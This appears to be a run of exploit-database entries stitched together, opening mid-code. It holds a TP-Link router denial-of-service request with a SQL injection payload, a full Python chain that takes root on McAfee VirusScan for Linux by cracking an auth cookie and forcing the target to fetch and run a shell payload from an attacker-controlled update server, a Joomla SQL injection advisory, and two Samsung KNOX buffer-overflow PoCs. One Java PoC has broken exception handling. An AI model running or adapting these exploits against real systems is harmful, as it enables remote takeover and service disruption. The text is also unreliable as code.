    HEADERS = struct.pack('>I', len(HEADER_BLOCK_FRAME))[1:] # Length
    HEADERS += struct.pack('B', 0x09) # Type
    HEADERS += struct.pack('B', 0x01) # Flags
    HEADERS += struct.pack('>I', 0x00000001) # Stream ID
    s.sendall(HEADERS + HEADER_BLOCK_FRAME)
            
# Exploit Title: TP-LINK TD-W8151N - Denial of Service
# Date: 2016-12-13
# Exploit Author: Persian Hack Team
# Discovered by : Mojtaba MobhaM
# Home : http://persian-team.ir/
# Tested on: Windows AND Linux
# Demo : https://www.youtube.com/watch?v=WrGgHvhiCGg

POC : 

flagFresh Parameter Vulnerable

POST /Forms/status_1 HTTP/1.1
Host: 192.168.1.1
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://192.168.1.1/status.html
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
Cookie: sessionid=13df8bc9; Language=en; C0=%00; C1=%00

flagFresh=0

Request : 

POST /Forms/status_1 HTTP/1.1
Host: 192.168.1.1
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://192.168.1.1/status.html
Content-Type: application/x-www-form-urlencoded
Content-Length: 51
Cookie: sessionid=13df8bc9; Language=en; C0=%00; C1=%00

flagFresh=0&1 and benchmark(20000000%2csha1(1))--=1
            
'''
Source: https://nation.state.actor/mcafee.html

Vulnerabilities

CVE-2016-8016: Remote Unauthenticated File Existence Test
CVE-2016-8017: Remote Unauthenticated File Read (with Constraints)
CVE-2016-8018: No Cross-Site Request Forgery Tokens
CVE-2016-8019: Cross Site Scripting
CVE-2016-8020: Authenticated Remote Code Execution & Privilege Escalation
CVE-2016-8021: Web Interface Allows Arbitrary File Write to Known Location
CVE-2016-8022: Remote Use of Authentication Tokens
CVE-2016-8023: Brute Force Authentication Tokens
CVE-2016-8024: HTTP Response Splitting
CVE-2016-8025: Authenticated SQL Injection
When chaned together, these vulnerabilities allow a remote attacker to execute code as root.
'''
#!/bin/python3
import time
import requests
import os
import sys
import re
import threading
import subprocess
from http.server import BaseHTTPRequestHandler, HTTPServer
from socketserver import ThreadingMixIn

# Per-target configuration
target_domain="https://10.0.1.130" # https://target_ip
local_ip = '10.0.1.128'                 # Attacker IP for victim to connect back to
authorized_ip="127.0.0.1"           # IP address cookie will be valid for
update_server_port = 8080               # Port update server listens on
delay_seconds = 10                      # How long should the server take to serve the update
target_port = 55443                 # Port to target

# Put payload script in payload.sh

# Initialization
payload_in_place = threading.Event()
requests.packages.urllib3.disable_warnings()
with open("payload.sh", "r") as f:
    payload = f.read()

def pprint(inp, flag=False):
    pad = "#"
    if flag:
        pad = "*"
    print("\n" + pad+ " " + inp)


def crack_cookie():
    pprint("Cracking Cookie")

    # A page that requires authentication
    url = target_domain + ":" + str(target_port) + "/0409/nails?pg=proxy&tplt=productUpdate.html"

    # Start at the current time + 100 in case of recent login with clock skew
    date_val = int(time.time()+100)
    cookie_fmt = authorized_ip+"/n/0/%d-checksum// "+authorized_ip + " "*20

    # Make requests, print after every 600
    while True:
        cookie = cookie_fmt % date_val
        req_cookie = {"nailsSessionId": cookie}
        r = requests.get(url, cookies=req_cookie, verify=False)
        r.raise_for_status()

        if "Set-Cookie" in r.headers:
            valid_cookie = cookie
            timestamp = cookie.split("/")[3].split("-")[0]
            break

        elif date_val % 600 == 0:
            print("Now trying  %s" % time.asctime(time.localtime(date_val)))

        date_val -= 1

    pprint("Cookie Cracked: " + timestamp, True)
    return valid_cookie


def update_update_server(auth_cookie):
    pprint("Updating update server")

    # Replace McAfeeHttp update server with attacker local_ip:update_server_port
    url = target_domain + ":" + str(target_port) + "/0409/nails?pg=proxy&addr=127.0.0.1%3A65443&tplt=" \
    "repository.html&sitelist=add&mon%3A0=db+set+1+_table%3Drepository+status%3D1+siteList%3D%253C%253F" \
    "xml%2520version%253D%25221.0%2522%2520encoding%253D%2522UTF-8%2522%253F%253E%250A%253Cns%253ASiteLists" \
    "%2520xmlns%253Ans%253D%2522naSiteList%2522%2520GlobalVersion%253D%2522PATTeELCQSEhZwxKf4PoXNSY4%2Fg%25" \
    "3D%2522%2520LocalVersion%253D%2522Wed%252C%252030%2520Dec%25202009%252011%253A20%253A59%2520UTC%2522%2" \
    "520Type%253D%2522Client%2522%253E%253CPolicies%2F%253E%253CSiteList%2520Default%253D%25221%2522%2520Na" \
    "me%253D%2522SomeGUID%2522%253E%253CHttpSite%2520Type%253D%2522repository%2522%2520Name%253D%2522McAfee" \
    "Http%2522%2520Order%253D%25221%2522%2520Server%253D%2522"+local_ip+"%253A"+str(update_server_port) \
    + "%2522%2520Enabled%253D%25221%2522%2520Local%253D%25221%2522%253E%253CRelativePath%2F%253E%253CUseAuth%" \
    "253E0%253C%2FUseAuth%253E%253CUserName%253E%253C%2FUserName%253E%253CPassword%2520Encrypted%253D%25220" \
    "%2522%2F%253E%253C%2FHttpSite%253E%253CFTPSite%2520Type%253D%2522fallback%2522%2520Name%253D%2522McAfe" \
    "eFtp%2522%2520Order%253D%25222%2522%2520Server%253D%2522ftp.nai.com%253A21%2522%2520Enabled%253D%25221" \
    "%2522%2520Local%253D%25221%2522%253E%253CRelativePath%253ECommonUpdater%253C%2FRelativePath%253E%253CU" \
    "seAuth%253E1%253C%2FUseAuth%253E%253CUserName%253Eanonymous%253C%2FUserName%253E%253CPassword%2520Encr" \
    "ypted%253D%25221%2522%253ECommonUpdater%40McAfeeB2B.com%253C%2FPassword%253E%253C%2FFTPSite%253E%253C%" \
    "2FSiteList%253E%253C%2Fns%253ASiteLists%253E+_cmd%3Dupdate+&mon%3A1=task+setsitelist&mon%3A2=db+select" \
    "+_show%3DsiteList+_show%3Dstatus+_table%3Drepository&info%3A2=multi%2Cshow&reposProperty=repository&re" \
    "posProperty=fallback&useOfProxy=on"

    r = requests.get(url, cookies=auth_cookie, verify=False)
    r.raise_for_status()
    pprint("Updated update server", True)

def download_update(req_cookie):
    pprint("Requesting target download payload")

    # Send request to make target download payload
    url = target_domain + ":" + str(target_port) + "/0409/nails"

    updateName = "update_%d" % int(time.time())
    postdata = ("pg=proxy&addr=127.0.0.1%3A65443&tplt=scheduledTasks.html&scheduleOp=add&mon%3A0=db+set+1+_tab" \
    "le%3Dschedule++taskName%3D{0}+taskType%3DUpdate+taskInfo%3DtoUpdate%3Ddat%253Bengine+timetable%3Dtype%" \
    "3Dunscheduled+status%3DIdle++i_recurrenceCounter%3D0+&mon%3A1=task+nstart+{0}&mon%3A2=db+select+_asc%3D" \
    "taskName+_table%3Dschedule+_show%3Di_taskId+_show%3DtaskName+_show%3DtaskResults+_show%3Dtimetable+_sh" \
    "ow%3DtaskType+_show%3DtaskInfo+_show%3Di_lastRun+_show%3D%24i_lastRun+_show%3Dstatus+_show%3Dprogress+" \
    "_show%3Di_nextRun+_show%3D%24i_nextRun+_show%3Di_duration+_show%3DtaskInfo++_limit%3D50+_offset%3D0&in" \
    "fo%3A2=multi%2Cshow&mon%3A3=db+select+_table%3Dschedule+_show%3Dcount%28*%29&info%3A3=multi%2Cshow&loc" \
    "%3A4=conf+get+browser.resultsPerPage&info%3A4=multi%2Cshow&mon%3A5=task+updatecrontab&info%3A5=multi%2" \
    "Cshow&echo%3A6=1&info%3A6=pageNo&echo%3A7=&info%3A7=selectedTask""").format(updateName)

    headers = {'Content-Type': 'application/x-www-form-urlencoded'}
    r = requests.post(url, data=postdata, cookies=req_cookie, verify=False, headers=headers)
    r.raise_for_status()

    pprint("Payload download requested", 1)


def exec_catalogz(req_cookie):
    pprint("Making target execute payload")

    #### Get commit_id and ODS_name
    url = target_domain + ":" + str(target_port) + "/0409/nails?pg=proxy&tplt=schedOnDemand.html&addr=127.0" \
    ".0.1:65443&mon:0=sconf+ODS+select+section%3Dnailsd.profile.ODS&info:0=multi,show,digest&echo:1=ODS&inf" \
    "o:1=profileName&mon:2=sconf+ODS+select+section%3Dnailsd.profile.ODS_default&info:2=multi,show&echo:3=O" \
    "DS_default&info:3=defaultProfileName&mon:4=sconf+ODS+select+attribute%3Dnailsd.oasEnabled&info:4=multi" \
    ",show&mon:5=extensions&info:5=multi,show&mon:6=db+select+_show=max(i_taskId)+_table=schedule&info:6=mu" \
    "lti,show&mon:7=utco&info:7=single,show,serverUtcOffset&echo:8=generate&info:8=profileNameAction"

    r = requests.get(url, cookies=req_cookie, verify=False)
    r.raise_for_status()

    regex = re.search("\|digest=(.+?)\|", r.text)
    if not regex:
        print("\nERROR: Could not get commit_id when generating evil scan\n")
        return False

    commit_id = regex.groups(1)[0]

    # Send request to start evil scan
    payload_path = "%2Fopt%2FMcAfee%2Fcma%2Fscratch%2Fupdate%2Fcatalog.z"
    binary_path = "%2Fbin%2Fsh" # Use "%2fbin%2Fstatic-sh" for versions 1.x

    url = target_domain + ":" + str(target_port) + "/0409/nails"

    ODS_name = "ODS_1"   # This may need to be increased if the name already exists
    scan_name = "scan_%s" % str(int(time.time()))

    postdata =  ("pg=proxy&addr=127.0.0.1%3A65443&tplt=scheduledTasks.html&mon%3A0=sconf+{1}+begin&info%3A0=" \
    "multi%2Cshow&mon%3A1=sconf+{1}+delete+{0}+section%3Dnailsd.profile.{1}.filter+section%3Dnailsd.prof" \
    "ile.{1}.action&mon%3A2=sconf+{1}+set+{0}+nailsd.profile.{1}.allFiles%3Dtrue+nailsd.profile.{1}.child" \
    "InitTmo%3D240+nailsd.profile.{1}.cleanChildren%3D2+nailsd.profile.{1}.cleansPerChild%3D10000+nailsd" \
    ".profile.{1}.datPath%3D%2Fopt%2FNAI%2FLinuxShield%2Fengine%2Fdat+nailsd.profile.{1}.decompArchive%3" \
    "Dtrue+nailsd.profile.{1}.decompExe%3Dtrue+nailsd.profile.{1}.engineLibDir%3D%2Fopt%2FNAI%2FLinuxShi" \
    "eld%2Fengine%2Flib+nailsd.profile.{1}.enginePath%3D{3}+nailsd.profile.{1}.factoryI" \
    "nitTmo%3D240+nailsd.profile.{1}.heuristicAnalysis%3Dtrue+nailsd.profile.{1}.macroAnalysis%3Dtrue+na" \
    "ilsd.profile.{1}.maxQueSize%3D32+nailsd.profile.{1}.mime%3Dtrue+nailsd.profile.{1}.noJokes%3Dfalse+" \
    "nailsd.profile.{1}.program%3Dtrue+nailsd.profile.{1}.quarantineChildren%3D1+nailsd.profile.{1}.quar" \
    "antineDirectory%3D%2Fquarantine+nailsd.profile.{1}.quarantineFromRemoteFS%3Dfalse+nailsd.profile.{1" \
    "}.quarantinesPerChild%3D10000+nailsd.profile.{1}.scanChildren%3D2+nailsd.profile.{1}.scanMaxTmo%3D3" \
    "00+nailsd.profile.{1}.scanNWFiles%3Dfalse+nailsd.profile.{1}.scanOnRead%3Dtrue+nailsd.profile.{1}.s" \
    "canOnWrite%3Dtrue+nailsd.profile.{1}.scannerPath%3D{4}+nailsd.profile.{1}.scansPerChild" \
    "%3D10000+nailsd.profile.{1}.slowScanChildren%3D0+nailsd.profile.{1}.filter.0.type%3Dexclude-path+na" \
    "ilsd.profile.{1}.filter.0.path%3D%2Fproc+nailsd.profile.{1}.filter.0.subdir%3Dtrue+nailsd.profile.{" \
    "1}.filter.1.type%3Dexclude-path+nailsd.profile.{1}.filter.1.path%3D%2Fquarantine+nailsd.profile.{1}" \
    ".filter.1.subdir%3Dtrue+nailsd.profile.{1}.filter.extensions.mode%3Dall+nailsd.profile.{1}.filter.e" \
    "xtensions.type%3Dextension+nailsd.profile.{1}.action.Default.primary%3DClean+nailsd.profile.{1}.act" \
    "ion.Default.secondary%3DQuarantine+nailsd.profile.{1}.action.App.primary%3DClean+nailsd.profile.{1}" \
    ".action.App.secondary%3DQuarantine+nailsd.profile.{1}.action.timeout%3DPass+nailsd.profile.{1}.acti" \
    "on.error%3DBlock&mon%3A3=sconf+{1}+commit+{0}&mon%3A4=db+set+{0}+_table%3Dschedule++taskName%3D{2}+" \
    "taskType%3DOn-Demand+taskInfo%3DprofileName%3D{1}%2Cpaths%3Dpath%3A%2Ftmp%3Bexclude%3Atrue+timetabl" \
    "e%3Dtype%3Dunscheduled+progress%3D+status%3DIdle+&mon%3A5=task+nstart+{2}&mon%3A6=db+select+_asc%3D" \
    "taskName+_table%3Dschedule+_show%3Di_taskId+_show%3DtaskName+_show%3DtaskResults+_show%3Dtimetable+" \
    "_show%3DtaskType+_show%3DtaskInfo+_show%3Di_lastRun+_show%3D%24i_lastRun+_show%3Dstatus+_show%3Dpro" \
    "gress+_show%3Di_nextRun+_show%3D%24i_nextRun+_show%3Di_duration+_show%3DtaskInfo++_limit%3D50+_offs" \
    "et%3D0&info%3A6=multi%2Cshow&mon%3A7=db+select+_table%3Dschedule+_show%3Dcount%28*%29&info%3A7=mult" \
    "i%2Cshow&mon%3A8=sconf+ODS+begin&info%3A8=multi%2Cshow%2Cdigest&mon%3A9=task+updatecrontab&info%3A9" \
    "=multi%2Cshow&loc%3A10=conf+get+browser.resultsPerPage&info%3A10=multi%2Cshow&echo%3A11=1&info%3A11" \
    "=pageNo&echo%3A12=&info%3A12=selectedTask").format(commit_id, ODS_name, scan_name,payload_path, binary_path)

    headers = {'Content-Type': 'application/x-www-form-urlencoded'}
    r = requests.post(url, data=postdata, cookies=req_cookie, verify=False, headers=headers)
    r.raise_for_status()

    pprint("Payload executed", 1)

def start_update_server():

    class RequestHandler(BaseHTTPRequestHandler):
        def do_HEAD(s):
            s.send_response(200)
            s.send_header("Content-type", "text/html")
            s.end_headers()

        def do_GET(s):
            if s.path == "/catalog.z":
                s.send_response(200)
                s.send_header("Content-type", "text/html")
                s.end_headers()
                s.wfile.write(bytes(payload, "utf-8"))

                pprint("Payload placed", 1)

                payload_in_place.set()

                # Die after sending payload so we send an incomplete response
                raise KillServer

            else: # Assume all other requests are for SiteStat - Always increasing version
                s.send_response(200)
                s.send_header("Content-type", "text/xml")
                s.end_headers()
                s.wfile.write(bytes(("""<?xml version="1.0" encoding="UTF-8"?>""" \
                """<SiteStatus Status="Enabled" CatalogVersion="2%d">""" \
                """ </SiteStatus>""") % int(time.time()), "utf-8"))

    # Throwing KillServer will shutdown the server ungracefully
    class KillServer(Exception):
        def __str__(self):
            return "Kill Server (not an error)"

    # ThreadingMixIn plus support for KillServer exceptions
    class AbortableThreadingMixIn(ThreadingMixIn):
        def process_request_thread(self, request, client_address):
            try:
                self.finish_request(request, client_address)
                self.shutdown_request(request)
            except KillServer:
                pprint("Killing update server dirtily")
                self.shutdown_request(request)
                self.shutdown() # Only if we want to shutdown
            except:
                self.handle_error(request, client_address)
                self.shutdown_request(request)


    class BackgroundHTTPSrv(AbortableThreadingMixIn, HTTPServer):
        pass

    pprint("Launching update server")

    srv = BackgroundHTTPSrv((local_ip, update_server_port), RequestHandler)
    threading.Thread(target=srv.serve_forever).start()

    pprint("Update server started", 1)
    return srv


####################################################################################
####################################################################################

pprint("Attacking %s" % target_domain, 1)

# Crack the auth cookie
cookie = crack_cookie()
auth_cookie = {"nailsSessionId": cookie}

# Start our update server locally
srv = start_update_server()

# Force target to use our update server
update_update_server(auth_cookie)

# Make target download an update from us
download_update(auth_cookie)

# Block until the target downloads our payload,
payload_in_place.wait()

# Shutdown our update server
srv.shutdown()

# Execute /bin/sh -(?) catalog.z
exec_catalogz(auth_cookie)
            
Title: SQL injection in Joomla extension DT Register
Credit: Elar Lang / https://security.elarlang.eu
Vulnerability: SQL injection
Vulnerable version: before 3.1.12 (Joomla 3.x) / 2.8.18 (Joomla 2.5)
CVE: pending
Full Disclosure URL: https://security.elarlang.eu/sql-injection-in-joomla-extension-dt-register.html
Vendor: DTH Development
Vendor URL: http://www.dthdevelopment.com/
Product: DT Register "Calendar & Event Registration"
Product URL: https://extensions.joomla.org/extension/dt-register
Product URL: http://www.dthdevelopment.com/joomla-components/dt-register-event-registration-for-joomla.html


# Background

"DT Register is the Joomla Event Registration component that gives you
functionality beyond what any other event booking solution can offer"
(https://extensions.joomla.org/extension/dt-register)


# Vulnerability

SQL injection in Joomla extension "DT Register" by DTH Development
allows remote unauthenticated attacker to execute arbitrary SQL
commands via the cat parameter.


# Preconditions

No pre-conditions for authentication or authorization.


# Proof-of-Concept

http://[DOMAIN]/[PATH]/index.php?controller=calendar&format=raw&cat[0]=SQLi&task=events

PoC value (shows out all events / it's possible to see valid eventId values):
cat[0]=6) OR 1-- -


## Using UNION

For reading the data out using UNION it's important to have and to
know one valid eventId (detected in previous step).

In total there are 112 fields in select query, eventId position is no
13. For output is best to use position 112.

Step-by-Step - how to read the data out is available in blog:
https://security.elarlang.eu/sql-injection-in-joomla-extension-dt-register.html


# Vulnerability Disclosure Timeline

Full communication is available in blog:
https://security.elarlang.eu/sql-injection-in-joomla-extension-dt-register.html

2016-10-17 | me > DTH | via web form - I would like to report some
security holes. What is the correct way for that?
2016-10-18 | me > DTH | any response?
2016-10-25 | me > DTH | mail to dthdev@dthdevelopment.com
2016-10-25 | DTH > me |
* "you are not in our client list"
* "Our site (dthdevelopment.com) is protected by an enterprise grade firewall"
2016-10-25 | me > DTH | I'm whitehat, technical details
2016-10-25 | DTH > me | description, what kind of serious problems I may face
2016-10-25 | me > DTH | explanations
2016-11-02 | me > DTH | hello?
2016-11-11 | me > DTH, SiteLock | Last call.
2016-11-11 | SiteLock / DTH / me | some communication
2016-11-12 | DTH > SiteLock (CC to me) | "It was configured to be open
in the setup"
2016-11-15 | DTH | Released DT Register version 3.1.12 (J3.x) / 2.8.18 (J2.5)
2016-12-05 | DTH > me | "Sorry, forgot to respont on this. We closed
the problem on our demo site".
2016-12-12 | me | Full Disclosure on security.elarlang.eu
2016-12-13 | me | Full Disclosure on FullDisclosure mailinglist on seclists.org


## asking CVE from DWF (Distributed Weakness Filing Project) /
http://iwantacve.org

2016-10-20 | me > DWF | CVE request
2016-10-31 | DWF > me | "CVE - Acceptance of MITRE Terms of Use for
CVE Assignment"
2016-10-31 | me > DWF | I accept
2016-11-19 | me > DWF | Any feedback or decision? (still no response)
2016-12-11 | me > DWF | Is there any hope to get feedback?  (still no response)

As I haven't got any feedback, you can take this post as CVE request.


# Fix
DT Register version 3.1.12 (J3.x) / 2.8.18 (J2.5).

--
Elar Lang
Blog @ https://security.elarlang.eu
Pentester, lecturer @ http://www.clarifiedsecurity.com
            
/**
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=935

As a part of the KNOX extensions available on Samsung devices, Samsung provides a new service which allows the generation of OTP tokens.

The tokens themselves are generated in a TrustZone application within the TEE (UID: fffffffff0000000000000000000001e). However, in order to allow easy communication between the Non-secure World (NWD) and the Secure-World (SW) trustlet, a new server has been created. This server, called "otp_server", publishes a binder service called "OTP". 

The service provides a single command via binder (command code 2), which allows a client to provide a buffer from the NWD to be sent to the SW. The requests are serialized to the parcel as a 32-bit length field, followed by the actual request data.

However, "otp_server" does not validate the request length field at all, allowing an attacker to specify any value. This length field is then used in a "memcpy" call in order to copy the data from the parcel to an internal heap-allocated buffer.

On the device I'm working on (SM-G925V), the "OTP" service can be accessed from any user, and the "otp_server" process runs with UID system and context "u:r:otp_server:s0".

I've attached a small PoC which can be used to trigger the overflow. Running it should crash "otp_server".
*/

package com.example.laginimaineb.otp;

import android.os.IBinder;
import android.os.Parcel;
import android.os.RemoteException;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.util.Log;

public class MainActivity extends AppCompatActivity {

	/**
 	 * The logtag used.
	 */ 
	private static final String LOGTAG = "OTP_TEST";

	/**
 	 * The name of the OTP binder service.
	 */
	private static final String INTERFACE_DESCRIPTOR = "OTP";

	@Override
	protected void onCreate(Bundle savedInstanceState) {
		super.onCreate(savedInstanceState);
		setContentView(R.layout.activity_main);

		try {
			//Getting the binder
			Class smClass = Class.forName("android.os.ServiceManager");
			IBinder binder = (IBinder) smClass.getMethod("getService", String.class).invoke(null, INTERFACE_DESCRIPTOR);

			//Creating a connection
			Parcel parcel = Parcel.obtain();
			Parcel reply = Parcel.obtain();
			parcel.writeInterfaceToken(INTERFACE_DESCRIPTOR);
			int length = 0xFFFF;
			parcel.writeInt(length); //Buffer length
			for (int i = 0; i < length/4 + 1; i++)
				parcel.writeInt(0xABABABAB);
			binder.transact(2, parcel, reply, 0);
			reply.recycle();
			parcel.recycle();

		} catch (RemoteException ex) {
		    Log.e(LOGTAG, "Failed to communicate with remote binder", ex);
		}
	}
}
            
/**
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=938

As a part of the KNOX extensions available on Samsung devices, Samsung provides a TrustZone trustlet which allows the generation of OTP tokens.

The tokens themselves are generated in a TrustZone application within the TEE (UID: fffffffff0000000000000000000001e), which can be communicated with using the "OTP" service, published by "otp_server".

Many of the internal commands supported by the trustlet must either unwrap or wrap a token. They do so by calling the functions "otp_unwrap" and "otp_wrap", correspondingly.

Both functions copy the internal token data to a local stack based buffer before attempting to wrap or unwrap it. However, this copy operation is performed using a length field supplied in the user's buffer (the length field's offset changes according to the calling code-path), which is not validated at all.

This means an attacker can supply a length field larger than the stack based buffer, causing the user-controlled token data to overflow the stack buffer. There is no stack cookie mitigation in MobiCore trustlets.

On the device I'm working on (SM-G925V), the "OTP" service can be accessed from any user, including from the SELinux context "untrusted_app". Successfully exploiting this vulnerability should allow a user to elevate privileges to the TrustZone TEE.

I've attached a small PoC which can be used to trigger the overflow. It calls the OTP_GENERATE_OTP command with a large length field which overflows the trustlet's stack. Running it should crash OTP trustlet.
*/

package com.example.laginimaineb.otp;

import android.os.IBinder;
import android.os.Parcel;
import android.os.RemoteException;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.util.Log;

public class OneWhoKNOX extends AppCompatActivity {

	/**
 	 * The logtag used.
	 */ 
	private static final String LOGTAG = "OTP_TEST";

	/**
 	 * The name of the OTP binder service.
	 */
	private static final String INTERFACE_DESCRIPTOR = "OTP";

	@Override
	protected void onCreate(Bundle savedInstanceState) {
		super.onCreate(savedInstanceState);
		setContentView(R.layout.activity_main);

		try {
			//Getting the binder
			Class smClass = Class.forName("android.os.ServiceManager");
			IBinder binder = (IBinder) smClass.getMethod("getService", String.class).invoke(null, INTERFACE_DESCRIPTOR);
			
			//Writing a command with a large length field
			Parcel parcel = Parcel.obtain();
			Parcel reply = Parcel.obtain();
			parcel.writeInterfaceToken(INTERFACE_DESCRIPTOR);
			byte[] command = new byte[0xDA7];

			//Setting the command to OTP_GENERATE_OTP
			command[0] = 0x02;
			command[1] = 0x00;
			command[2] = 0x00;
			command[3] = 0x00;

			//Setting the length field to something insane
			command[0x41C]     = (byte)0xFF;
			command[0x41C + 1] = (byte)0xFF;
			command[0x41C + 2] = (byte)0x00;
			command[0x41C + 3] = (byte)0x00;

			//Sending the command (should crash the trustlet)
			parcel.writeByteArray(command);
			binder.transact(2, parcel, reply, 0);
			Log.e(LOGTAG, "res=" + reply.readInt());
			reply.recycle();
			parcel.recycle();

		} catch (ClassNotFoundException |
			 NoSuchMethodException  |
			 IllegalAccessException |
			 InvocationTargetException ex) {
		    Log.e(LOGTAG, "Failed to dynamically load ServiceManager methods", ex);
		}

		} catch (RemoteException ex) {
		    Log.e(LOGTAG, "Failed to communicate with remote binder", ex);
		}
	}
}